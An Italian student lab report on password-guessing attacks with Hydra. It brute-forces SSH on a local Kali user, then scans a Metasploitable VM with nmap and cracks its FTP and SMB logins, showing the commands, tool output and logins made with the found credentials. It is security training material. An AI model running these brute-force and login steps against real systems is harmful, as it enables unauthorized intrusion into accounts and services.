

Esercitazione WEEK 14 D4

Authentication cracking con Hydra

Ettore Farris - 12/02/2024

Descrizione sintetica

Traccia

L'esercizio di oggi ha un duplice scopo:

- Fare pratica con Hydra per craccare l'autenticazione dei servizi di rete;
- Consolidare le conoscenze dei servizi stessi tramite la loro configurazione.

La configurazione dei servizi è essa stessa parte dell'esercizio

L'esercizio si svilupperà in due fasi:

- Una prima fase dove insieme vedremo l'abilitazione di un servizio SSH e la relativa sessione di cracking dell'autenticazione con Hydra;
- Una seconda fase dove sarete liberi di configurare e craccare un qualsiasi servizio di rete tra quelli disponibili, ad esempio ftp, rdp, telnet, autenticazione HTTP.

Soluzione

- Configurazione e attivazione del servizio SSH

1) Creazione nuovo utente con username "test_user" e password "testpass"

```
(kali㉿kali) - [~]
$ sudo adduser test_user
[sudo] password for kali:
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
info: Creating home directory `/home/test_user' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
  Full Name []:
    Room Number []:
    Work Phone []:
    Home Phone []:
    Other []:
Is the information correct? [Y/n] Y
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...
```

2) Attivazione del servizio SSH

Per attivare il servizio SSH, basta lanciare il comando

`sudo service ssh start`

3) Test login SSH con il nuovo utente creato

Cerchiamo di fare l'accesso al servizio SSH inserendo le credenziali del nuovo utente creato.

```
(kali㉿kali) - [~]
$ ssh test_user@192.168.50.100
The authenticity of host '192.168.50.100 (192.168.50.100)' can't be established.
ED25519 key fingerprint is SHA256:JNLP8J3WreL30GFRcge4LUt7ijx/16ylDTpm01erO7g.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.50.100' (ED25519) to the list of known hosts.
test_user@192.168.50.100's password:
Linux kali 6.3.0-kali1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1 (2023-06-29) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
(test_user㉿kali) - [~]
$ █
```

- Password cracking SSH con Hydra

Per semplicità, creiamo due wordlists brevi, una contenente gli username, l'altra le password più comuni. Assicuriamoci che nelle rispettive wordlists ci siano l'username "test_user" e la password "testpass".

Lanciamo *hydra* col comando:

```
hydra -L Desktop/username.txt -P Desktop/passwords.txt 192.168.50.100 ssh -t 4 -V
```

I flag *-L* e *-P* servono a specificare rispettivamente le wordlists degli username e delle password. Dopo aver specificato l'IP del target si esplicita il protocollo, in questo caso *ssh*. *-t* serve per indicare i *threads*, mentre *-V* è per impostare l'output *verbose*.

Una volta lanciato il comando, il tool inizierà a tentare tutte le combinazioni tra le parole passate nelle due wordlists.

```
(kali㉿kali) - [~]
$ hydra -L Desktop/usernames.txt -P Desktop/passwords.txt 192.168.50.100 ssh -t 4 -V

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or
and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-12 09:12:21
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) f
[DATA] max 4 tasks per 1 server, overall 4 tasks, 187 login tries (l:11/p:17), ~47 tries p
[DATA] attacking ssh://192.168.50.100:22/
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "1234" - 1 of 187 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "admin" - 2 of 187 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "qwerty" - 3 of 187 [child 2] (0/0)
```

A fine scansione, possiamo notare che nel target abbiamo trovato una coppia di credenziali valide.

```
[ATTEMPT] target 192.168.50.100 - login "superman" - pass "1234" - 4 of 187 [child 3] (0/0)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-12 09:12:21
```

Le credenziali risultanti sono le stesse che abbiamo impostato in fase di configurazione del servizio SSH.

```
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "test" - 97 of 187
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testuser" - 98
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 99
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123456" - 100
[22] [ssh] host: 192.168.50.100 login: test_user password: testpass
[ATTEMPT] target 192.168.50.100 - login "test" - pass "1234" - 103 of 187
[ATTEMPT] target 192.168.50.100 - login "test" - pass "admin" - 104 of 187
[ATTEMPT] target 192.168.50.100 - login "test" - pass "qwerty" - 105 of 187
[ATTEMPT] target 192.168.50.100 - login "test" - pass "password" - 106 of 187
[ATTEMPT] target 192.168.50.100 - login "test" - pass "passwd" - 107 of 187
```

- Password cracking su macchina Metasploitable

Iniziamo l'attacco con una scansione *nmap* per verificare la presenza di porte aperte.

```
(kali㉿kali) - [~]  
$ sudo nmap -sS 192.168.32.101  
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-13 03:36 EST  
Nmap scan report for 192.168.32.101  
Host is up (0.025s latency).  
Not shown: 977 closed tcp ports (reset)  
PORT      STATE SERVICE  
21/tcp    open  ftp  
22/tcp    open  ssh  
23/tcp    open  telnet  
25/tcp    open  smtp  
53/tcp    open  domain  
80/tcp    open  http  
111/tcp   open  rpcbind  
139/tcp   open  netbios-ssn  
445/tcp   open  microsoft-ds  
512/tcp   open  exec  
513/tcp   open  login  
514/tcp   open  shell  
1099/tcp  open  rmiregistry  
1524/tcp  open  ingreslock  
2121/tcp  open  ccproxy-ftp  
3306/tcp  open  mysql  
5432/tcp  open  postgresql  
5900/tcp  open  vnc  
5901/tcp  open  vnc-1  
6000/tcp  open  X11  
6001/tcp  open  X11:1  
6667/tcp  open  irc  
8180/tcp  open  unknown
```

Scegliamo di attaccare il sistema vittima in due porte, la 21 (ftp) e la 445 (smb).

Per effettuare gli attacchi, utilizzeremo le wordlist del punto precedente.

- Password cracking ftp su Metasploitable

Procediamo con l'attacco lanciando lo stesso comando, ma cambiando l'IP del target e il protocollo da utilizzare, in questo caso ftp.

```
(kali㉿kali) - [~]
$ hydra -L Desktop/username.txt -P Desktop/passwords.txt 192.168.32.101 ftp -t 4 -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or
nd ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-12 09:14:13
[DATA] max 4 tasks per 1 server, overall 4 tasks, 187 login tries (l:11/p:17), ~47 tries p
[DATA] attacking ftp://192.168.32.101:21/
[ATTEMPT] target 192.168.32.101 - login "admin" - pass "1234" - 1 of 187 [child 0] (0/0)
[ATTEMPT] target 192.168.32.101 - login "admin" - pass "admin" - 2 of 187 [child 1] (0/0)
[ATTEMPT] target 192.168.32.101 - login "admin" - pass "qwerty" - 3 of 187 [child 2] (0/0)
```

Dalla scansione risulta che siamo riusciti a trovare due coppie *username/password* valide.

```
[ATTEMPT] target 192.168.32.101 - login "superman" - pass "superman" - 1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at
```

```
[ATTEMPT] target 192.168.32.101 - login "user" - pass "user" - 2
[21] [ftp] host: 192.168.32.101 login: user password: user
[ATTEMPT] target 192.168.32.101 - login "root" - pass "1234" - 3
```

```
[ATTEMPT] target 192.168.32.101 - login "msfadmin" - pass "test_user" - 62
[ATTEMPT] target 192.168.32.101 - login "msfadmin" - pass "test" - 63 of 1
[21] [ftp] host: 192.168.32.101 login: msfadmin password: msfadmin
[ATTEMPT] target 192.168.32.101 - login "administrator" - pass "1234" - 69
[ATTEMPT] target 192.168.32.101 - login "administrator" - pass "admin" - 70
```

Testiamo la correttezza delle credenziali effettuando l'accesso dalla macchina attaccante.

```
(kali㉿kali) - [~]
$ ftp msfadmin@192.168.32.101
Connected to 192.168.32.101.
220 (vsFTPD 2.3.4)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
```

- Password cracking smb su Metasploitable

Come nel punto precedente, adattiamo il comando al protocollo *samba*.

```
(kali㉿kali) - [~]
$ hydra -L Desktop/username.txt -P Desktop/passwords.txt 192.168.32.101 smb -t 4 -n 1
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military
and ethics anyway).
Forbidden
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-13 03:37:18
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections).
[DATA] max 1 task per 1 server, overall 1 task, 187 login tries (1:11/p:17), ~187 tri
[DATA] attacking smb://192.168.32.101:445/
[ATTEMPT] target 192.168.32.101 - login "admin" - pass "1234" - 1 of 187 [child 0] (0
```

Hydra, grazie alle nostre wordlists, è riuscita a trovare due coppie di credenziali.

```
[ATTEMPT] target 192.168.32.101 - login "user" - pass "user" - 2
[445] [smb] host: 192.168.32.101 login: user password: user
[ATTEMPT] target 192.168.32.101 - login "root" - pass "1234" - 3
```

```
[ATTEMPT] target 192.168.32.101 - login "msfadmin" - pass "user" - 58 of
[ATTEMPT] target 192.168.32.101 - login "msfadmin" - pass "root" - 59 of
[ATTEMPT] target 192.168.32.101 - login "msfadmin" - pass "msfadmin" - 6
[445] [smb] host: 192.168.32.101 login: msfadmin password: msfadmin
[ATTEMPT] target 192.168.32.101 - login "administrator" - pass "1234" -
[ATTEMPT] target 192.168.32.101 - login "administrator" - pass "admin" -
[ATTEMPT] target 192.168.32.101 - login "administrator" - pass "qwerty" -
```

Tramite il client *smbclient* -L //192.168.32.101 otteniamo la lista di tutti i servizi disponibili sul server Metasploitable.

```
(kali㉿kali) - [~]
$ smbclient -L //192.168.32.101
Password for [WORKGROUP\kali]:
Anonymous login successful
Sharename      Type      Comment
-----
print$         Disk      Printer Drivers
tmp            Disk      oh noes!
IPC$           IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
ADMIN$         IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful
Server         Comment
-----
Workgroup      Master
WORKGROUP     METASPLOITABLE
```

Facciamo accesso alla cartella *tmp*. Possiamo vedere che alcune operazioni con login anonimo non sono permesse. Nell'esempio di sotto, non riusciamo a visualizzare il contenuto della cartella *gconfd-msfadmin*.

Tramite il comando *login <username> <password>* facciamo accesso come utente. In questo caso, le credenziali saranno quelle trovate con *hydra*, ovvero *msfadmin/msfadmin*.

Ripetendo l'operazione con accesso utente, possiamo visualizzare il contenuto della cartella.

```
(kali㉿kali) - [~]
$ smbclient //192.168.32.101/tmp
Password for [WORKGROUP\kali]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
.
..
.ICE-unix
orbit-msfadmin
.X11-unix
.X0-lock
4586.jsvc_up
.X1-lock
gconfd-msfadmin
7282168 blocks of size 1024. 5510308 blocks available
smb: \> cd gconfd-msfadmin\
smb: \gconfd-msfadmin\> ls
NT_STATUS_ACCESS_DENIED listing \gconfd-msfadmin\*
smb: \gconfd-msfadmin\> login msfadmin msfadmin
Current VUID is 104
smb: \gconfd-msfadmin\> ls
.
..
7282168 blocks of size 1024. 5510308 blocks available
smb: \gconfd-msfadmin\>
```